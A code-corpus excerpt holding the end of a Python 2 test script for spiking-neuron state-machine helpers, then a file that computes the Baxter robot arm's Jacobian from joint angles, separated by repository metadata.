NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateTurnsOnOneNeuron(ca,0,n1,0) fsa.oneNeuronHalfTurnsOnState(n1,0,ca3,0) fsa.stateHalfTurnsOnState(ca2,0,ca3,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca2,0) neal.nealApplyProjections() sim.run(runtime) success = len(ca3.get_data().segments[0].spiketrains[0]) == 0 if not success: data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = ca2.get_data() print "ca2" print data.segments[0].spiketrains[0] data = ca3.get_data() print "ca3" print data.segments[0].spiketrains[0] data = n1.get_data() print "n1" print data.segments[0].spiketrains[0] print "Neuron And State To State NotNeuron - {}".format(success) def neruonAndStateToState_NotState(): neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateTurnsOnOneNeuron(ca,0,n1,0) fsa.oneNeuronHalfTurnsOnState(n1,0,ca3,0) fsa.stateHalfTurnsOnState(ca2,0,ca3,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca,0) neal.nealApplyProjections() sim.run(runtime) success = len(ca3.get_data().segments[0].spiketrains[0]) == 0 if not success: data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = ca2.get_data() print "ca2" print data.segments[0].spiketrains[0] data = ca3.get_data() print "ca3" print data.segments[0].spiketrains[0] data = n1.get_data() print "n1" print data.segments[0].spiketrains[0] print "Neuron And State To State NotState - {}".format(success) def neuronAndStateToNeuron(): neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateTurnsOnOneNeuron(ca,0,n1,0) fsa.oneNeuronHalfTurnsOnOneNeuron(n1,0,n2,0) fsa.stateHalfTurnsOnOneNueron(ca2,0,n2,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca,0) fsa.turnOnStateFromSpikeSource(spikeGen,ca2,0) neal.nealApplyProjections() sim.run(runtime) success = len(n2.get_data().segments[0].spiketrains[0]) > 0 if not success: data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = ca2.get_data() print "ca2" print data.segments[0].spiketrains[0] data = n1.get_data() print "n1" print data.segments[0].spiketrains[0] data = n2.get_data() print "n2" print data.segments[0].spiketrains[0] print "Neuron And State To Neuron - {}".format(success) def neuronAndStateToNeuron_NotNeuron(): neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateTurnsOnOneNeuron(ca,0,n1,0) fsa.oneNeuronHalfTurnsOnOneNeuron(n1,0,n2,0) fsa.stateHalfTurnsOnOneNueron(ca2,0,n2,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) neal.nealApplyProjections() fsa.turnOnStateFromSpikeSource(spikeGen,ca2,0) sim.run(runtime) success = len(n2.get_data().segments[0].spiketrains[0]) == 0 if not success: data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = ca2.get_data() print "ca2" print data.segments[0].spiketrains[0] data = n1.get_data() print "n1" print data.segments[0].spiketrains[0] data = n2.get_data() print "n2" print data.segments[0].spiketrains[0] print "Neuron And State To Neuron NotNeuron - {}".format(success) def neuronAndStateToNeuron_NotState(): neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateTurnsOnOneNeuron(ca,0,n1,0) fsa.oneNeuronHalfTurnsOnOneNeuron(n1,0,n2,0) fsa.stateHalfTurnsOnOneNueron(ca2,0,n2,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca,0) neal.nealApplyProjections() sim.run(runtime) success = len(n2.get_data().segments[0].spiketrains[0]) == 0 if success: return data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = ca2.get_data() print "ca2" print data.segments[0].spiketrains[0] data = n1.get_data() print "n1" print data.segments[0].spiketrains[0] data = n2.get_data() print "n2" print data.segments[0].spiketrains[0] print "Neuron And State To Neuron NotState - {}".format(success) def threeStateRule(): """ STATE1 ===> + ===> N1 ===> STATE2 ===> + ===> A1 ===> STATE4 STATE3 ===> """ neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateHalfTurnsOnOneNueron(ca,0,n1,0) fsa.stateHalfTurnsOnOneNueron(ca2,0,n1,0) fsa.oneNeuronHalfTurnsOnOneNeuron(n1,0,n2,0) fsa.stateHalfTurnsOnOneNueron(ca3,0,n2,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca,0) spikeTimes = {'spike_times': [[sim.get_current_time()+10]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca2,0) spikeTimes = {'spike_times': [[sim.get_current_time()+15]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca3,0) neal.nealApplyProjections() sim.run(runtime) success = len(n2.get_data().segments[0].spiketrains[0]) > 0 if(not success): data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = ca2.get_data() print "ca2" print data.segments[0].spiketrains[0] data = ca3.get_data() print "ca3" print data.segments[0].spiketrains[0] data = n1.get_data() print "n1" print data.segments[0].spiketrains[0] data = n2.get_data() print "n2" print data.segments[0].spiketrains[0] print "Three State Rule - {}".format(success) def oneNeuronStopsCA(): neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateTurnsOnOneNeuron(ca,0,n1,0) fsa.oneNeuronTurnsOffState(n1,0,ca,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca,0) neal.nealApplyProjections() sim.run(runtime) success = len(ca.get_data().segments[0].spiketrains[0]) == len(n1.get_data().segments[0].spiketrains[0]) if(not success): data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = n1.get_data() print "n1" print data.segments[0].spiketrains[0] print "One Neuron stops CA - {}".format(success) sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) stateToState() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) stateToNeuron() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) twoStateToState() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) twoStateToState_Half() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) twoStateToNeuron() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) twoStateToNeuron_Half() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) neuronToState() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) neuronToNeuron() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) twoNeuronToState() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) twoNeuronToState_Half() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) twoNeuronToNeuron() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) twoNeuronToNeuron_Half() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) neruonAndStateToState() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) neruonAndStateToState_NotNeuron() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) neruonAndStateToState_NotState() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) neuronAndStateToNeuron() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) neuronAndStateToNeuron_NotNeuron() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) neuronAndStateToNeuron_NotState() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) threeStateRule() sim.end() sim.setup(timestep=1.0,min_delay=1.0,max_delay=1.0, debug=0) oneNeuronStopsCA() sim.end()

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0.034688

0.041417

0.076918

0.142003

0.92558

0.918349

0.902045

0.899941

0.892643

0

0.046372

0.203455

23,499

834

109

28.176259

0.766268

0.001192

0

0.829392

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0.043631

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6f915f5768c864bd648907fd51932f4176fdc3c1

24,177

py

Python

python/baxter_bon_appetit/src/baxter_essentials/baxter_jacobian.py

san99tiago/tesis

70e452cfa9eedbbe64347e2bd8826bb295473d01

[ "MIT" ]

4

2021-03-09T19:59:50.000Z

2021-03-31T01:28:24.000Z

python/baxter_bon_appetit/src/baxter_essentials/baxter_jacobian.py

san99tiago/tesis

70e452cfa9eedbbe64347e2bd8826bb295473d01

[ "MIT" ]

null

python/baxter_bon_appetit/src/baxter_essentials/baxter_jacobian.py

san99tiago/tesis

70e452cfa9eedbbe64347e2bd8826bb295473d01

[ "MIT" ]

null

#!/usr/bin/env python # Built-in imports import math # General module imports import numpy as np class BaxterJacobian: """ Calculate Baxter's Jacobian from w0 to tool. Remark: the expression used was calculated based on the article "Baxter Humanoid Robot Kinematics" from Ohio University. :param baxter_distances: list of baxter_distances from BaxterClass. :param joint_values: list of joint-values. example: [value_limb_s0, value_limb_s1, value_limb_left_e0, value_limb_left_e1, value_limb_left_w0, value_limb_left_w1, value_limb_left_w2] :param limb: arm to calculate jacobian. example: "left" or "right". """ def __init__(self, baxter_distances, joint_values, limb): self.baxter_distances = baxter_distances self.joint_values = joint_values self.limb = limb def calculate_jacobian(self): t1 = self.joint_values[0] t2 = self.joint_values[1] t3 = self.joint_values[2] t4 = self.joint_values[3] t5 = self.joint_values[4] t6 = self.joint_values[5] L1 = self.baxter_distances[1] L2 = self.baxter_distances[2] L3 = self.baxter_distances[3] L4 = self.baxter_distances[4] L5 = self.baxter_distances[5] if (self.limb == "left"): return "LEFT JACOBIAN NOT DEFINED" return np.array([[ (math.cos(t4)*(math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) + math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) + math.cos(t2)*math.sin(t4)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)))*(math.sin(t3)*(math.cos(t4)*(L1 + L2*math.cos(t2)) + math.cos(t2)*(L4 + L3*math.sin(t4))) + L5*math.sin(t5)*(math.cos(t4)*math.sin(t2) + math.cos(t2)*math.cos(t3)*math.sin(t4))) + (math.sin(t4)*(math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) + math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) - math.cos(t2)*math.cos(t4)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)))*(math.sin(t3)*(math.sin(t4)*(L1 + L2*math.cos(t2)) - L3*math.cos(t2)*math.cos(t4)) + L5*math.sin(t5)*(math.sin(t2)*math.sin(t4) - math.cos(t2)*math.cos(t3)*math.cos(t4)) - L5*math.cos(t2)*math.cos(t5)*math.sin(t3)) - (math.cos(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) - math.sin(t2)*math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)))*(L4*(math.sin(t2)*math.sin(t4) - math.cos(t2)*math.cos(t3)*math.cos(t4)) - math.cos(t3)*(L1 + L2*math.cos(t2)) + L3*math.sin(t2) + L5*math.cos(t5)*(math.cos(t4)*math.sin(t2) + math.cos(t2)*math.cos(t3)*math.sin(t4))), (math.cos(t4)*(math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) + math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) + math.cos(t2)*math.sin(t4)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)))*(math.cos(t3)*(L4 + L2*math.cos(t4) + L3*math.sin(t4)) - L5*math.sin(t3)*math.sin(t4)*math.sin(t5)) - (math.sin(t4)*(math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) + math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) - math.cos(t2)*math.cos(t4)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)))*(math.cos(t3)*(L3*math.cos(t4) + L5*math.cos(t5) - L2*math.sin(t4)) - L5*math.cos(t4)*math.sin(t3)*math.sin(t5)) - math.sin(t3)*(math.cos(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) - math.sin(t2)*math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)))*(L2 + L4*math.cos(t4) - L5*math.cos(t5)*math.sin(t4)), (math.cos(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) - math.sin(t2)*math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)))*(L3 + L4*math.sin(t4) + L5*math.cos(t4)*math.cos(t5)) - L5*math.cos(t4)*math.sin(t5)*(math.cos(t4)*(math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) + math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) + math.cos(t2)*math.sin(t4)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) - L5*math.sin(t4)*math.sin(t5)*(math.sin(t4)*(math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) + math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) - math.cos(t2)*math.cos(t4)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))), L4*(math.cos(t4)*(math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) + math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) + math.cos(t2)*math.sin(t4)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) - L5*math.cos(t5)*(math.sin(t4)*(math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) + math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) - math.cos(t2)*math.cos(t4)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))), L5*math.cos(t5)*(math.cos(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) - math.sin(t2)*math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) - L5*math.sin(t5)*(math.cos(t4)*(math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) + math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) + math.cos(t2)*math.sin(t4)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))), 0, 0], [ (math.cos(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) + math.sin(t2)*math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)))*(L4*(math.sin(t2)*math.sin(t4) - math.cos(t2)*math.cos(t3)*math.cos(t4)) - math.cos(t3)*(L1 + L2*math.cos(t2)) + L3*math.sin(t2) + L5*math.cos(t5)*(math.cos(t4)*math.sin(t2) + math.cos(t2)*math.cos(t3)*math.sin(t4))) - (math.sin(t4)*(math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) - math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) + math.cos(t2)*math.cos(t4)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)))*(math.sin(t3)*(math.sin(t4)*(L1 + L2*math.cos(t2)) - L3*math.cos(t2)*math.cos(t4)) + L5*math.sin(t5)*(math.sin(t2)*math.sin(t4) - math.cos(t2)*math.cos(t3)*math.cos(t4)) - L5*math.cos(t2)*math.cos(t5)*math.sin(t3)) - (math.cos(t4)*(math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) - math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) - math.cos(t2)*math.sin(t4)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)))*(math.sin(t3)*(math.cos(t4)*(L1 + L2*math.cos(t2)) + math.cos(t2)*(L4 + L3*math.sin(t4))) + L5*math.sin(t5)*(math.cos(t4)*math.sin(t2) + math.cos(t2)*math.cos(t3)*math.sin(t4))), (math.sin(t4)*(math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) - math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) + math.cos(t2)*math.cos(t4)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)))*(math.cos(t3)*(L3*math.cos(t4) + L5*math.cos(t5) - L2*math.sin(t4)) - L5*math.cos(t4)*math.sin(t3)*math.sin(t5)) - (math.cos(t4)*(math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) - math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) - math.cos(t2)*math.sin(t4)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)))*(math.cos(t3)*(L4 + L2*math.cos(t4) + L3*math.sin(t4)) - L5*math.sin(t3)*math.sin(t4)*math.sin(t5)) + math.sin(t3)*(math.cos(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) + math.sin(t2)*math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)))*(L2 + L4*math.cos(t4) - L5*math.cos(t5)*math.sin(t4)), L5*math.cos(t4)*math.sin(t5)*(math.cos(t4)*(math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) - math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) - math.cos(t2)*math.sin(t4)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) - (math.cos(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) + math.sin(t2)*math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)))*(L3 + L4*math.sin(t4) + L5*math.cos(t4)*math.cos(t5)) + L5*math.sin(t4)*math.sin(t5)*(math.sin(t4)*(math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) - math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) + math.cos(t2)*math.cos(t4)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))), L5*math.cos(t5)*(math.sin(t4)*(math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) - math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) + math.cos(t2)*math.cos(t4)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) - L4*(math.cos(t4)*(math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) - math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) - math.cos(t2)*math.sin(t4)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))), L5*math.sin(t5)*(math.cos(t4)*(math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) - math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) - math.cos(t2)*math.sin(t4)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) - L5*math.cos(t5)*(math.cos(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) + math.sin(t2)*math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))), 0, 0], [ 0, (math.sin(t2)*math.sin(t4) - math.cos(t2)*math.cos(t3)*math.cos(t4))*(math.cos(t3)*(L4 + L2*math.cos(t4) + L3*math.sin(t4)) - L5*math.sin(t3)*math.sin(t4)*math.sin(t5)) + (math.cos(t4)*math.sin(t2) + math.cos(t2)*math.cos(t3)*math.sin(t4))*(math.cos(t3)*(L3*math.cos(t4) + L5*math.cos(t5) - L2*math.sin(t4)) - L5*math.cos(t4)*math.sin(t3)*math.sin(t5)) - math.cos(t2)*math.sin(t3)**2*(L2 + L4*math.cos(t4) - L5*math.cos(t5)*math.sin(t4)), math.cos(t2)*(L3*math.sin(t3) + L5*math.cos(t3)*math.sin(t5) + L4*math.sin(t3)*math.sin(t4) + L5*math.cos(t4)*math.cos(t5)*math.sin(t3)), L4*(math.sin(t2)*math.sin(t4) - math.cos(t2)*math.cos(t3)*math.cos(t4)) + L5*math.cos(t5)*(math.cos(t4)*math.sin(t2) + math.cos(t2)*math.cos(t3)*math.sin(t4)), L5*math.cos(t2)*math.cos(t5)*math.sin(t3) - L5*math.sin(t5)*(math.sin(t2)*math.sin(t4) - math.cos(t2)*math.cos(t3)*math.cos(t4)), 0, 0], [ (math.cos(t4)*(math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) + math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) + math.cos(t2)*math.sin(t4)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)))*(math.sin(t2)*math.sin(t4) - math.cos(t2)*math.cos(t3)*math.cos(t4)) - (math.sin(t4)*(math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) + math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) - math.cos(t2)*math.cos(t4)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)))*(math.sin(t2)*math.sin(t4) + math.cos(t2)*math.cos(t3)*math.cos(t4)) + math.cos(t2)*math.sin(t3)*(math.cos(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) - math.sin(t2)*math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))), math.sin(t1 + 0.7854), -math.cos(t1 + 0.7854)*math.cos(t2), math.cos(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) - math.sin(t2)*math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)), math.sin(t4)*(math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) + math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) - math.cos(t2)*math.cos(t4)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)), math.cos(t5)*(math.cos(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) - math.sin(t2)*math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) - math.sin(t5)*(math.cos(t4)*(math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) + math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) + math.cos(t2)*math.sin(t4)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))), math.cos(t6)*(math.sin(t4)*(math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) + math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) - math.cos(t2)*math.cos(t4)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) + math.sin(t5)*math.sin(t6)*(math.cos(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) - math.sin(t2)*math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) + math.cos(t5)*math.sin(t6)*(math.cos(t4)*(math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)) + math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1))) + math.cos(t2)*math.sin(t4)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)))], [ (math.sin(t4)*(math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) - math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) + math.cos(t2)*math.cos(t4)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)))*(math.sin(t2)*math.sin(t4) + math.cos(t2)*math.cos(t3)*math.cos(t4)) - (math.cos(t4)*(math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) - math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) - math.cos(t2)*math.sin(t4)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)))*(math.sin(t2)*math.sin(t4) - math.cos(t2)*math.cos(t3)*math.cos(t4)) - math.cos(t2)*math.sin(t3)*(math.cos(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) + math.sin(t2)*math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))), -math.cos(t1 + 0.7854), -math.sin(t1 + 0.7854)*math.cos(t2), - math.cos(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) - math.sin(t2)*math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)), - math.sin(t4)*(math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) - math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) - math.cos(t2)*math.cos(t4)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)), math.sin(t5)*(math.cos(t4)*(math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) - math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) - math.cos(t2)*math.sin(t4)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) - math.cos(t5)*(math.cos(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) + math.sin(t2)*math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))), - math.cos(t6)*(math.sin(t4)*(math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) - math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) + math.cos(t2)*math.cos(t4)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) - math.sin(t5)*math.sin(t6)*(math.cos(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) + math.sin(t2)*math.sin(t3)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) - math.cos(t5)*math.sin(t6)*(math.cos(t4)*(math.sin(t3)*(0.7071*math.cos(t1) - 0.7071*math.sin(t1)) - math.cos(t3)*math.sin(t2)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1))) - math.cos(t2)*math.sin(t4)*(0.7071*math.cos(t1) + 0.7071*math.sin(t1)))], [ (math.cos(t4)*math.sin(t2) + math.cos(t2)*math.cos(t3)*math.sin(t4))*(math.sin(t2)*math.sin(t4) + math.cos(t2)*math.cos(t3)*math.cos(t4)) + (math.sin(t2)*math.sin(t4) - math.cos(t2)*math.cos(t3)*math.cos(t4))**2 + math.cos(t2)**2*math.sin(t3)**2, 0, -math.sin(t2), math.cos(t2)*math.sin(t3), - math.cos(t4)*math.sin(t2) - math.cos(t2)*math.cos(t3)*math.sin(t4), math.cos(t2)*math.cos(t5)*math.sin(t3) - math.sin(t5)*(math.sin(t2)*math.sin(t4) - math.cos(t2)*math.cos(t3)*math.cos(t4)), math.cos(t5)*math.sin(t6)*(math.sin(t2)*math.sin(t4) - math.cos(t2)*math.cos(t3)*math.cos(t4)) - math.cos(t6)*(math.cos(t4)*math.sin(t2) + math.cos(t2)*math.cos(t3)*math.sin(t4)) + math.cos(t2)*math.sin(t3)*math.sin(t5)*math.sin(t6)]]) # bj = BaxterJacobian(bc.BaxterClass().baxter_distances, [0, 0, 0, 0, 0, 0, 0], "left") # print(bj.calculate_jacobian())

416.844828

3,902

0.382181

3,071

24,177

2.993813

0.029306

0.291603

0.238851

0.134871

0.8933

0.890907

0.885578

0.881879

0.875897

0

0.157654

0.440129

24,177

57

3,903

424.157895

0.521572

0.029119

0

0.001238

0

1

0.074074

false

0

0.074074

0

0.259259

0

null

1

0

1

0

1

0

null

0

10

6fb95af500ac2115f3b94cb0e61e6909cff1a983

5,553

py

Python

models/DIF_net.py

MrHuff/DIF-NLDL

4d032cb0522efd62ea754a6c5d02b7015ef2f62b

[ "MIT" ]

null

models/DIF_net.py

MrHuff/DIF-NLDL

4d032cb0522efd62ea754a6c5d02b7015ef2f62b

[ "MIT" ]

null

models/DIF_net.py

MrHuff/DIF-NLDL

4d032cb0522efd62ea754a6c5d02b7015ef2f62b

[ "MIT" ]

null

